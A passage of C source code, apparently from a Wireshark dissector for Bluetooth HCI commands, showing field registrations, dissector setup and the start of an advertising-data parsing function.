{"Rx Bandwidth (bytes/s)", "bthci_cmd.rx_bandwidth",
FT_UINT32, BASE_DEC, NULL, 0x0,
"Rx Bandwidth", HFILL}
},
{ &hf_bthci_cmd_max_latency_ms,
{"Max. Latency (ms)", "bthci_cmd.max_latency_ms",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_max_latency,
{"Max. Latency", "bthci_cmd.max_latency",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Max. Latency in baseband slots", HFILL}
},
{ &hf_bthci_cmd_retransmission_effort,
{"Retransmission Effort", "bthci_cmd.retransmission_effort",
FT_UINT8, BASE_DEC, VALS(cmd_rtx_effort), 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_scan_type,
{"Scan Type", "bthci_cmd.inq_scan_type",
FT_UINT8, BASE_DEC, VALS(cmd_scan_types), 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_inq_mode,
{"Inquiry Mode", "bthci_cmd.inq_scan_type",
FT_UINT8, BASE_DEC, VALS(cmd_inq_modes), 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_fec_required,
{"FEC Required", "bthci_cmd.fec_required",
FT_UINT8, BASE_DEC, VALS(cmd_boolean), 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_err_data_reporting,
{"Erroneous Data Reporting", "bthci_cmd.err_data_reporting",
FT_UINT8, BASE_DEC, VALS(cmd_en_disabled), 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_tx_power,
{"Power Level (dBm)", "bthci_cmd.power_level",
FT_INT8, BASE_DEC, NULL, 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_sco_packet_type_hv1,
{ "Packet Type HV1", "bthci_cmd.sco_packet_type_hv1",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0001,
NULL, HFILL }
},
{ &hf_bthci_cmd_sco_packet_type_hv2,
{ "Packet Type HV2", "bthci_cmd.sco_packet_type_hv2",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0002,
NULL, HFILL }
},
{ &hf_bthci_cmd_sco_packet_type_hv3,
{ "Packet Type HV3", "bthci_cmd.sco_packet_type_hv3",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0004,
NULL, HFILL }
},
{ &hf_bthci_cmd_sco_packet_type_ev3,
{ "Packet Type EV3", "bthci_cmd.sco_packet_type_ev3",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0008,
NULL, HFILL }
},
{ &hf_bthci_cmd_sco_packet_type_ev4,
{ "Packet Type EV4", "bthci_cmd.sco_packet_type_ev4",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0010,
NULL, HFILL }
},
{ &hf_bthci_cmd_sco_packet_type_ev5,
{ "Packet Type EV5", "bthci_cmd.sco_packet_type_ev5",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0020,
NULL, HFILL }
},
{ &hf_bthci_cmd_sco_packet_type_2ev3,
{ "Packet Type 2-EV3", "bthci_cmd.sco_packet_type_2ev3",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0040,
NULL, HFILL }
},
{ &hf_bthci_cmd_sco_packet_type_3ev3,
{ "Packet Type 3-EV3", "bthci_cmd.sco_packet_type_3ev3",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0080,
NULL, HFILL }
},
{ &hf_bthci_cmd_sco_packet_type_2ev5,
{ "Packet Type 2-EV5", "bthci_cmd.sco_packet_type_2ev5",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0100,
NULL, HFILL }
},
{ &hf_bthci_cmd_sco_packet_type_3ev5,
{ "Packet Type 3-EV5", "bthci_cmd.sco_packet_type_3ev5",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0200,
NULL, HFILL }
},
{ &hf_bthci_cmd_min_remote_timeout,
{"Min. Remote Timeout", "bthci_cmd.min_remote_timeout",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Min. Remote Timeout in baseband slots", HFILL}
},
{ &hf_bthci_cmd_min_local_timeout,
{"Min. Local Timeout", "bthci_cmd.min_local_timeout",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Min. Local Timeout in baseband slots", HFILL}
},
{ &hf_bthci_cmd_flush_packet_type,
{"Packet Type", "bthci_cmd.flush_packet_type",
FT_UINT8, BASE_DEC, VALS(cmd_flush_pkt_type), 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_afh_ch_assessment_mode,
{"AFH Channel Assessment Mode", "bthci_cmd.afh_ch_assessment_mode",
FT_UINT8, BASE_DEC, VALS(cmd_en_disabled), 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_afh_ch_classification,
{ "Channel Classification", "bthci_cmd.afh_ch_classification",
FT_NONE, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_which_clock,
{"Which Clock", "bthci_cmd.which_clock",
FT_UINT8, BASE_DEC, VALS(cmd_which_clock), 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_io_capability,
{"IO Capability", "bthci_cmd.io_capability",
FT_UINT8, BASE_DEC, VALS(bthci_cmd_io_capability_vals), 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_oob_data_present,
{"OOB Data Present", "bthci_cmd.oob_data_present",
FT_UINT8, BASE_DEC, VALS(bthci_cmd_oob_data_present_vals), 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_auth_requirements,
{"Authentication Requirements", "bthci_cmd.auth_requirements",
FT_UINT8, BASE_DEC|BASE_EXT_STRING, &bthci_cmd_auth_req_vals_ext, 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_passkey,
{"Passkey", "bthci_cmd.passkey",
FT_UINT32, BASE_DEC, NULL, 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_hash_c,
{"Hash C", "bthci_cmd.hash_c",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_randomizer_r,
{"Randomizer R", "bthci_cmd.randomizer_r",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_simple_pairing_mode,
{"Simple Pairing Mode", "bthci_cmd.simple_pairing_mode",
FT_UINT8, BASE_DEC, VALS(cmd_en_disabled), 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_simple_pairing_debug_mode,
{"Simple Pairing Debug Mode", "bthci_cmd.simple_pairing_debug_mode",
FT_UINT8, BASE_DEC, VALS(cmd_en_disabled), 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_notification_type,
{"Notification Type", "bthci_cmd.notification_type",
FT_UINT8, BASE_DEC, VALS(bthci_cmd_notification_types), 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_physical_link_handle,
{"Physical Link Handle", "bthci_cmd.physical_link_handle",
FT_UINT8, BASE_HEX, NULL, 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_dedicated_amp_key_length,
{"Dedicated AMP Key Length", "bthci_cmd.dedicated_amp_key_length",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_dedicated_amp_key_type,
{"Dedicated AMP Key Type", "bthci_cmd.dedicated_amp_key_type",
FT_UINT8, BASE_DEC, VALS(bthci_cmd_amp_key_type), 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_dedicated_amp_key,
{"Dedicated AMP Key Type", "bthci_cmd.dedicated_amp_key",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL}
},
{ &hf_bthci_cmd_flow_spec,
{ "Flow Spec", "bthci_cmd.flow_spec",
FT_NONE, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_flow_spec_sdu_size,
{ "Maximum SDU Size", "bthci_cmd.sdu_size",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_flow_spec_sdu_arrival_time,
{ "SDU Inter-arrival Time (us)", "bthci_cmd.sdu_arrival_time",
FT_UINT32, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_flow_spec_identifier,
{ "Identifier", "bthci_cmd.ident",
FT_UINT8, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_flow_spec_access_latency,
{ "Access Latency (us)", "bthci_cmd.access_latency",
FT_UINT32, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_flow_spec_service_type,
{ "Service Type", "bthci_cmd.servicetype",
FT_UINT8, BASE_HEX, VALS(cmd_flow_spec_servicetype), 0x0,
"Level of service required", HFILL }
},
{ &hf_bthci_cmd_flush_to_us,
{ "Flush Timeout (us)", "bthci_cmd.flushto",
FT_UINT32, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_logical_link_handle,
{ "Logical Link Handle", "bthci_cmd.logical_link_handle",
FT_UINT16, BASE_HEX, NULL, 0x0FFF,
NULL, HFILL }
},
{ &hf_bthci_cmd_evt_mask2_00,
{ "Physical Link Complete", "bthci_cmd.evt_mask2_00",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x01,
"Physical Link Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask2_01,
{ "Channel Selected", "bthci_cmd.evt_mask2_01",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x02,
"Channel Selected Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask2_02,
{ "Disconnection Physical Link", "bthci_cmd.evt_mask2_02",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x04,
"Disconnection Physical Link Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask2_03,
{ "Physical Link Loss Early Warning", "bthci_cmd.evt_mask2_03",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x08,
"Physical Link Loss Early Warning Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask2_04,
{ "Physical Link Recovery", "bthci_cmd.evt_mask2_04",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x10,
"Physical Link Recovery Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask2_05,
{ "Logical Link Complete", "bthci_cmd.evt_mask2_05",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x20,
"Logical Link Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask2_06,
{ "Disconnection Logical Link Complete", "bthci_cmd.evt_mask2_06",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x40,
"Disconnection Logical Link Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask2_07,
{ "Flow Spec Modify Complete", "bthci_cmd.evt_mask2_07",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x80,
"Flow Spec Modify Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask2_10,
{ "Number Of Completed Data Blocks", "bthci_cmd.evt_mask2_10",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x01,
"Number Of Completed Data Blocks Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask2_11,
{ "AMP Start Test", "bthci_cmd.evt_mask2_11",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x02,
"AMP Start Test Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask2_12,
{ "AMP Test End", "bthci_cmd.evt_mask2_12",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x04,
"AMP Test End Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask2_13,
{ "AMP Receiver Report", "bthci_cmd.evt_mask2_13",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x08,
"AMP Receiver Report Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask2_14,
{ "Short Range Mode Change Complete", "bthci_cmd.evt_mask2_14",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x10,
"Short Range Mode Change Complete Bit", HFILL }
},
{ &hf_bthci_cmd_evt_mask2_15,
{ "AMP Status Change", "bthci_cmd.evt_mask2_15",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x20,
"AMP Status Change Bit", HFILL }
},
{ &hf_bthci_cmd_location_domain_aware,
{ "Location Domain Aware", "bthci_cmd.location_domain_aware",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_location_domain,
{ "Location Domain", "bthci_cmd.location_domain",
FT_STRING, BASE_NONE, NULL, 0x0,
"ISO 3166-1 Country Code", HFILL }
},
{ &hf_bthci_cmd_location_domain_options,
{ "Location Domain Options", "bthci_cmd.location_domain_options",
FT_STRING, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_location_options,
{ "Location Options", "bthci_cmd.location_options",
FT_UINT8, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_flow_control_mode,
{ "Flow Control Mode", "bthci_cmd.flow_control_mode",
FT_UINT8, BASE_HEX, VALS(cmd_flow_ctrl_mode), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_tx_power_level_type,
{ "Tx Power Level Type", "bthci_cmd.tx_power_level_type",
FT_UINT8, BASE_HEX, VALS(cmd_power_level_types), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_short_range_mode,
{ "Short Range Mode", "bthci_cmd.short_range_mode",
FT_UINT8, BASE_HEX, VALS(cmd_en_disabled), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_enable_amp_recv_reports,
{ "Enable AMP Receiver Reports", "bthci_cmd.enable_amp_recv_reports",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_amp_recv_report_interval,
{ "AMP Receiver Report Interval (s)", "bthci_cmd.amp_recv_report_interval",
FT_UINT8, BASE_DEC, 0x0, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_length_so_far,
{ "Length So Far", "bthci_cmd.length_so_far",
FT_UINT16, BASE_DEC, 0x0, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_amp_assoc_length,
{ "AMP Assoc Length", "bthci_cmd.amp_assoc_length",
FT_UINT16, BASE_DEC, 0x0, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_amp_remaining_assoc_length,
{ "AMP Remaining Assoc Length", "bthci_cmd.amp_remaining_assoc_length",
FT_UINT16, BASE_DEC, 0x0, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_amp_assoc_fragment,
{ "AMP Assoc Fragment", "bthci_cmd.amp_assoc_fragment",
FT_BYTES, BASE_NONE, 0x0, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_supported_host,
{ "LE Supported Host", "bthci_cmd.le_supported_host",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_simultaneous_host,
{ "Simultaneous LE Host", "bthci_cmd.le_simlutaneous_host",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x0,
"Support for both LE and BR/EDR to same device", HFILL }
},
{ &hf_bthci_cmd_le_evt_mask_00,
{ "LE Connection Complete", "bthci_cmd.le_evt_mask_00",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x01,
"LE Connection Complete Bit", HFILL }
},
{ &hf_bthci_cmd_le_evt_mask_01,
{ "LE Advertising Report", "bthci_cmd.le_evt_mask_01",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x02,
"LE Advertising Report Bit", HFILL }
},
{ &hf_bthci_cmd_le_evt_mask_02,
{ "LE Connection Update Complete", "bthci_cmd.le_evt_mask_02",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x04,
"LE Connection Update Complete Bit", HFILL }
},
{ &hf_bthci_cmd_le_evt_mask_03,
{ "LE Read Remote Used Features Complete", "bthci_cmd.le_evt_mask_03",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x08,
"LE Read Remote Used Features Complete Bit", HFILL }
},
{ &hf_bthci_cmd_le_evt_mask_04,
{ "LE Long Term Key Request", "bthci_cmd.le_evt_mask_04",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x10,
"LE Long Term Key Request Bit", HFILL }
},
{ &hf_bthci_cmd_le_advts_interval_min,
{ "Advertising Interval Min", "bthci_cmd.le_advts_interval_min",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_advts_interval_max,
{ "Advertising Interval Max", "bthci_cmd.le_advts_interval_max",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_advts_type,
{ "Advertising Type", "bthci_cmd.le_advts_type",
FT_UINT8, BASE_HEX, VALS(cmd_le_advertising_types), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_address_type,
{ "Address Type", "bthci_cmd.le_address_type",
FT_UINT8, BASE_HEX, VALS(bthci_cmd_address_types_vals), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_own_address_type,
{ "Own Address Type", "bthci_cmd.le_own_address_type",
FT_UINT8, BASE_HEX, VALS(bthci_cmd_address_types_vals), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_peer_address_type,
{ "Peer Address Type", "bthci_cmd.le_peer_address_type",
FT_UINT8, BASE_HEX, VALS(bthci_cmd_address_types_vals), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_direct_address_type,
{ "Direct Address Type", "bthci_cmd.le_direct_address_type",
FT_UINT8, BASE_HEX, VALS(bthci_cmd_address_types_vals), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_advts_channel_map_1,
{ "Channel 37", "bthci_cmd.le_advts_ch_map_1",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x01,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_advts_channel_map_2,
{ "Channel 38", "bthci_cmd.le_advts_ch_map_2",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x02,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_advts_channel_map_3,
{ "Channel 39", "bthci_cmd.le_advts_ch_map_3",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x04,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_advts_filter_policy,
{ "Advertising Filter Policy", "bthci_cmd.le_advts_filter_policy",
FT_UINT8, BASE_HEX, VALS(cmd_le_advertising_filter_policy), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_data_length,
{ "Data Length", "bthci_cmd.le_data_length",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_advts_enable,
{ "Advertising Enable", "bthci_cmd.le_advts_enable",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_scan_enable,
{ "Scan Enable", "bthci_cmd.le_scan_enable",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_filter_dublicates,
{ "Filter Dublicates", "bthci_cmd.le_filter_dublicates",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_scan_type,
{ "Scan Type", "bthci_cmd.le_scan_type",
FT_UINT8, BASE_HEX, VALS(cmd_le_scan_types), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_scan_interval,
{ "Scan Interval", "bthci_cmd.le_scan_interval",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_scan_window,
{ "Scan Window", "bthci_cmd.le_scan_window",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_scan_filter_policy,
{ "Scan Filter Policy", "bthci_cmd.le_scan_filter_policy",
FT_UINT8, BASE_HEX, VALS(cmd_le_scan_filter_policy), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_initiator_filter_policy,
{ "Initiator Filter Policy", "bthci_cmd.le_initiator_filter_policy",
FT_UINT8, BASE_HEX, VALS(cmd_init_filter_policy), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_con_interval_min,
{ "Connection Interval Min", "bthci_cmd.le_con_interval_min",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_con_interval_max,
{ "Connection Interval Max", "bthci_cmd.le_con_interval_max",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_con_latency,
{ "Connection Latency", "bthci_cmd.le_con_latency",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_supervision_timeout,
{ "Supervision Timeout", "bthci_cmd.le_supv_timeout",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_min_ce_length,
{ "Min CE Length", "bthci_cmd.le_min_ce_length",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Min. Connection Event Length", HFILL }
},
{ &hf_bthci_cmd_le_max_ce_length,
{ "Max CE Length", "bthci_cmd.le_max_ce_length",
FT_UINT16, BASE_DEC, NULL, 0x0,
"Max. Connection Event Length", HFILL }
},
{ &hf_bthci_cmd_le_channel_map,
{ "Channel Map", "bthci_cmd.le_channel_map",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_key,
{ "Key", "bthci_cmd.le_key",
FT_BYTES, BASE_NONE, NULL, 0x0,
"Encryption Key", HFILL }
},
{ &hf_bthci_cmd_plaintext_data,
{ "Plaintext", "bthci_cmd.le_plaintext",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_random_number,
{ "Random Number", "bthci_cmd.le_random_number",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_encrypted_diversifier,
{ "Encrypted Diversifier", "bthci_cmd.le_encrypted_diversifier",
FT_UINT16, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_le_long_term_key,
{ "Long Term Key", "bthci_cmd.le_long_tem_key",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_rx_freqency,
{ "Rx Frequency", "bthci_cmd.rx_freqency",
FT_UINT8, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_tx_freqency,
{ "Tx Frequency", "bthci_cmd.tx_freqency",
FT_UINT8, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_test_data_length,
{ "Test Data Length", "bthci_cmd.le_test_data_length",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_test_packet_payload,
{ "Packet Payload", "bthci_cmd.le_test_data_length",
FT_UINT8, BASE_HEX, VALS(cmd_le_test_pkt_payload), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_parameter,
{ "Parameter", "bthci_cmd.parameter",
FT_NONE, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
};
static ei_register_info ei[] = {
{ &ei_command_unknown, { "bthci_cmd.expert.command.unknown.", PI_PROTOCOL, PI_WARN, "Unknown command", EXPFILL }},
{ &ei_command_parameter_unexpected, { "bthci_cmd.expert.parameter.unexpected", PI_PROTOCOL, PI_WARN, "Unexpected command parameter", EXPFILL }},
{ &ei_command_undecoded, { "bthci_cmd.expert.command.undecoded", PI_PROTOCOL, PI_UNDECODED, "Command undecoded", EXPFILL }}
};
static gint *ett[] = {
&ett_bthci_cmd,
&ett_opcode,
&ett_cod,
&ett_cod_mask,
&ett_flow_spec_subtree,
&ett_le_channel_map
};
/* Decode As handling */
static build_valid_func bthci_cmd_vendor_da_build_value[1] = {bthci_cmd_vendor_value};
static decode_as_value_t bthci_cmd_vendor_da_values = {bthci_cmd_vendor_prompt, 1, bthci_cmd_vendor_da_build_value};
static decode_as_t bthci_cmd_vendor_da = {"bthci_evt", "Vendor", "bthci_cmd.vendor", 1, 0, &bthci_cmd_vendor_da_values, NULL, NULL,
decode_as_default_populate_list, decode_as_default_reset, decode_as_default_change, NULL};
/* Dynamically fill "bthci_cmd_opcode_vals" */
static const struct _opcode_value_string_arrays {
guint ogf;
const value_string *string_array;
guint length;
} opcode_value_string_arrays[] = {
{ 0x01, bthci_cmd_ocf_link_control_vals, array_length(bthci_cmd_ocf_link_control_vals) },
{ 0x02, bthci_cmd_ocf_link_policy_vals, array_length(bthci_cmd_ocf_link_policy_vals) },
{ 0x03, bthci_cmd_ocf_host_controller_and_baseband_vals, array_length(bthci_cmd_ocf_host_controller_and_baseband_vals) },
{ 0x04, bthci_cmd_ocf_informational_vals, array_length(bthci_cmd_ocf_informational_vals) },
{ 0x05, bthci_cmd_ocf_status_vals, array_length(bthci_cmd_ocf_status_vals) },
{ 0x06, bthci_cmd_ocf_testing_vals, array_length(bthci_cmd_ocf_testing_vals) },
{ 0x08, bthci_cmd_ocf_low_energy_vals, array_length(bthci_cmd_ocf_low_energy_vals) },
};
bthci_cmd_opcode_vals[i_opcode].value = 0;
bthci_cmd_opcode_vals[i_opcode].strptr = "No Operation";
i_opcode += 1;
for (i_array = 0; i_array < array_length(opcode_value_string_arrays); i_array += 1) {
for (i_string_array = 0; i_string_array < opcode_value_string_arrays[i_array].length - 1; i_string_array += 1) {
bthci_cmd_opcode_vals[i_opcode].value = opcode_value_string_arrays[i_array].string_array[i_string_array].value | (opcode_value_string_arrays[i_array].ogf << 10);
bthci_cmd_opcode_vals[i_opcode].strptr = opcode_value_string_arrays[i_array].string_array[i_string_array].strptr;
i_opcode += 1;
}
}
proto_bthci_cmd = proto_register_protocol("Bluetooth HCI Command", "HCI_CMD", "bthci_cmd");
bthci_cmd_handle = new_register_dissector("bthci_cmd", dissect_bthci_cmd, proto_bthci_cmd);
/* Required function calls to register the header fields and subtrees used */
proto_register_field_array(proto_bthci_cmd, hf, array_length(hf));
proto_register_subtree_array(ett, array_length(ett));
expert_bthci_cmd = expert_register_protocol(proto_bthci_cmd);
expert_register_field_array(expert_bthci_cmd, ei, array_length(ei));
vendor_dissector_table = register_dissector_table("bthci_cmd.vendor", "BT HCI Vendor", FT_UINT16, BASE_HEX);
module = prefs_register_protocol(proto_bthci_cmd, NULL);
prefs_register_static_text_preference(module, "hci_cmd.version",
"Bluetooth HCI version: 4.0 (Core)",
"Version of protocol supported by this dissector.");
register_decode_as(&bthci_cmd_vendor_da);
}
/* If this dissector uses sub-dissector registration add a registration routine.
This format is required because a script is used to find these routines and
create the code that calls these routines.
*/
void
proto_reg_handoff_bthci_cmd(void)
{
dissector_add_uint("hci_h4.type", HCI_H4_TYPE_CMD, bthci_cmd_handle);
dissector_add_uint("hci_h1.type", BTHCI_CHANNEL_COMMAND, bthci_cmd_handle);
}
static gint
dissect_eir_ad_data(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree)
{
proto_item *entry_item;
proto_tree *entry_tree;
proto_item *sub_item;
gint offset = 0;
guint8 length;
guint8 type;
guint8 data_size;
gint64 end_offset;
guint i_uuid;
data_size = tvb_length(tvb);
while (offset < data_size) {
length = tvb_get_guint8(tvb, offset);
if (length <= 0) break;
type = tvb_get_guint8(tvb, offset + 1);
entry_item = proto_tree_add_none_format(tree, hf_btcommon_eir_ad_entry, tvb, offset, length + 1, "%s",
val_to_str_const(type, bthci_cmd_eir_data_type_vals, "Unknown"));
entry_tree = proto_item_add_subtree(entry_item, ett_eir_ad_entry);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_length, tvb, offset, 1, ENC_NA);
offset += 1;
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_type, tvb, offset, 1, ENC_NA);
offset += 1;
length -= 1;
switch (type) {
case 0x01: /* Flags */
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_flags_reserved, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_flags_le_bredr_support_host, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_flags_le_bredr_support_controller, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_flags_bredr_not_support, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_flags_le_general_discoverable_mode, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_flags_le_limited_discoverable_mode, tvb, offset, 1, ENC_NA);
offset += 1;
break;
case 0x02: /* 16-bit Service Class UUIDs (incomplete) */
case 0x03: /* 16-bit Service Class UUIDs */
case 0x14: /* List of 16-bit Service Solicitation UUIDs */
case 0x16: /* Service Data - 16 bit UUID */
end_offset = offset + length;
while (offset < end_offset) {
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_uuid_16, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset += 2;
}
break;
case 0x04: /* 32-bit Service Class UUIDs (incomplete) */
case 0x05: /* 32-bit Service Class UUIDs */
case 0x1F: /* List of 32-bit Service Solicitation UUIDs */
case 0x20: /* Service Data - 32 bit UUID */
end_offset = offset + length;
while (offset < end_offset) {
if (tvb_get_ntohs(tvb, offset) == 0x0000) {
sub_item = proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_uuid_32, tvb, offset, 4, ENC_BIG_ENDIAN);
